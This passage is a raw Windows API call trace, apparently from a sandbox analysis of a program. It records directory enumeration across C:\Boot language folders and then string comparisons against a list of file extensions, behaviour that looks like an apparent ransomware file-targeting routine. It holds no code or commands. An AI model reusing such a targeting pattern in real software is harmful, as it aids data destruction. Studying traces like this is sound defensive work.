ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.924] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.924] FindClose (in: hFindFile=0x6153c8 | out: hFindFile=0x6153c8) returned 1 [0036.924] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37b06d0 | out: hHeap=0x520000) returned 1 [0036.924] FindNextFileW (in: hFindFile=0x614380, lpFindFileData=0x3e8fa84 | out: lpFindFileData=0x3e8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0036.924] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37b06d0 [0036.924] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6153c8 [0036.927] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.927] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.927] FindClose (in: hFindFile=0x6153c8 | out: hFindFile=0x6153c8) returned 1 [0036.927] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37b06d0 | out: hHeap=0x520000) returned 1 [0036.928] FindNextFileW (in: hFindFile=0x614380, lpFindFileData=0x3e8fa84 | out: lpFindFileData=0x3e8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0036.928] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37b06d0 [0036.928] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6153c8 [0036.928] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.928] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.928] FindClose (in: hFindFile=0x6153c8 | out: hFindFile=0x6153c8) returned 1 [0036.929] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37b06d0 | out: hHeap=0x520000) returned 1 [0036.929] FindNextFileW (in: hFindFile=0x614380, lpFindFileData=0x3e8fa84 | out: lpFindFileData=0x3e8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0036.929] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37b06d0 [0036.929] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6153c8 [0036.929] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.930] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.930] FindClose (in: hFindFile=0x6153c8 | out: hFindFile=0x6153c8) returned 1 [0036.930] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37b06d0 | out: hHeap=0x520000) returned 1 [0036.930] FindNextFileW (in: hFindFile=0x614380, lpFindFileData=0x3e8fa84 | out: lpFindFileData=0x3e8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0036.930] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37b06d0 [0036.930] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6153c8 [0036.930] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.930] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.930] FindClose (in: hFindFile=0x6153c8 | out: hFindFile=0x6153c8) returned 1 [0036.930] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37b06d0 | out: hHeap=0x520000) returned 1 [0036.930] FindNextFileW (in: hFindFile=0x614380, lpFindFileData=0x3e8fa84 | out: lpFindFileData=0x3e8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0036.931] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37b06d0 [0036.931] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6153c8 [0036.931] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.931] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.932] FindClose (in: hFindFile=0x6153c8 | out: hFindFile=0x6153c8) returned 1 [0036.932] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37b06d0 | out: hHeap=0x520000) returned 1 [0036.932] FindNextFileW (in: hFindFile=0x614380, lpFindFileData=0x3e8fa84 | out: lpFindFileData=0x3e8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0036.932] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37b06d0 [0036.932] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6153c8 [0036.932] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.932] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.932] FindClose (in: hFindFile=0x6153c8 | out: hFindFile=0x6153c8) returned 1 [0036.932] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37b06d0 | out: hHeap=0x520000) returned 1 [0036.932] FindNextFileW (in: hFindFile=0x614380, lpFindFileData=0x3e8fa84 | out: lpFindFileData=0x3e8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0036.932] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37b06d0 [0036.932] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6153c8 [0036.933] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.933] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.934] FindClose (in: hFindFile=0x6153c8 | out: hFindFile=0x6153c8) returned 1 [0036.934] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37b06d0 | out: hHeap=0x520000) returned 1 [0036.934] FindNextFileW (in: hFindFile=0x614380, lpFindFileData=0x3e8fa84 | out: lpFindFileData=0x3e8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0036.934] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37b06d0 [0036.934] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6153c8 [0036.934] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.934] FindNextFileW (in: hFindFile=0x6153c8, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0036.934] FindClose (in: hFindFile=0x6153c8 | out: hFindFile=0x6153c8) returned 1 [0036.934] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37b06d0 | out: hHeap=0x520000) returned 1 [0036.934] FindNextFileW (in: hFindFile=0x614380, lpFindFileData=0x3e8fa84 | out: lpFindFileData=0x3e8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0036.934] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xfffe) returned 0x37b06d0 [0036.935] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x612ec0 [0037.151] FindNextFileW (in: hFindFile=0x612ec0, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0037.151] FindNextFileW (in: hFindFile=0x612ec0, lpFindFileData=0x3e8f808 | out: lpFindFileData=0x3e8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0039.340] FindNextFileW (in: hFindFile=0x56f3f0, lpFindFileData=0x3e8f094 | out: lpFindFileData=0x3e8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.340] FindNextFileW (in: hFindFile=0x56f3f0, lpFindFileData=0x3e8f094 | out: lpFindFileData=0x3e8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 1 [0045.590] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0045.590] lstrcmpiW (lpString1=".3ds", lpString2=".HXT") returned -1 [0045.590] lstrcmpiW (lpString1=".3fr", lpString2=".HXT") returned -1 [0045.590] lstrcmpiW (lpString1=".3g2", lpString2=".HXT") returned -1 [0045.590] lstrcmpiW (lpString1=".3gp", lpString2=".HXT") returned -1 [0045.590] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0045.590] lstrcmpiW (lpString1=".accda", lpString2="OL.HXT") returned -1 [0045.590] lstrcmpiW (lpString1=".accdb", lpString2="OL.HXT") returned -1 [0045.590] lstrcmpiW (lpString1=".accdc", lpString2="OL.HXT") returned -1 [0045.590] lstrcmpiW (lpString1=".accde", lpString2="OL.HXT") returned -1 [0045.590] lstrcmpiW (lpString1=".accdt", lpString2="OL.HXT") returned -1 [0045.591] lstrcmpiW (lpString1=".accdw", lpString2="OL.HXT") returned -1 [0045.591] lstrcmpiW (lpString1=".adb", lpString2=".HXT") returned -1 [0045.591] lstrcmpiW (lpString1=".adp", lpString2=".HXT") returned -1 [0045.591] lstrcmpiW (lpString1=".ai", lpString2="HXT") returned -1 [0045.591] lstrcmpiW (lpString1=".ai3", lpString2=".HXT") returned -1 [0045.591] lstrcmpiW (lpString1=".ai4", lpString2=".HXT") returned -1 [0045.591] lstrcmpiW (lpString1=".ai5", lpString2=".HXT") returned -1 [0045.591] lstrcmpiW 